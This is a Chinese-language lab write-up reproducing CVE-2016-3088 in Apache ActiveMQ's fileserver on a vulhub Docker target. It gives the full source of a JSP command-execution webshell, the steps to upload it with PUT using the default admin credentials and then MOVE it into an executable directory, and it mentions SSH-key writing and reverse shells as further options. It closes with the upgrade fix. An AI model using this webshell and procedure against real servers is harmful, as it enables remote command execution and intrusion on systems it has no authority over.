0x00 前言
–学如逆水行舟,不进则退
0x01 漏洞简介
该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。
0x02 影响版本
Apache ActiveMQ 5.0.0 – 5.13.2
0x03 环境搭建
这里环境搭建使用的是vulhub靶场路的环境
cd /vulhub-master/activemq/CVE-2016-3088 //进去漏洞环境目录
docker-compose up -d //启动漏洞环境
启动之后,访问一下ip:8161出现以下环境,说明搭建成功
0x04 漏洞复现
先访问ip:8161/admin,进行登录,默认密码为admin,admin,登录之后进行以下操作
访问ip:8161/fileserver/进行抓包,使用PUT方法,上传webshell到fileserver目录下,如下图
JSP的内容为:
<%@ page import=”java.io.*”%>
<%
out.print(“Hello</br>”);
String strcmd=request.getParameter(“cmd”);
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+”</br>”);
}
%>
上传之后,访问ip:fileserver/3.jsp,发现没有解析成功,说明fileserver目录权限不够,如下图
再访问ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径,如下图
得到他的路径之后,访问ip:8161/fileserver/3.jsp,进行抓包,通过修改为move的方式,将刚刚上传的文件移动到api目录下
移动之后,访问 ip:8161/api/3.jsp?cmd=whoami,发现命令执行成功
这个漏洞也可以进行蚁剑一句话上传,也可以写入ssh key进行连接以及反弹shell
0x05 漏洞修复
ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本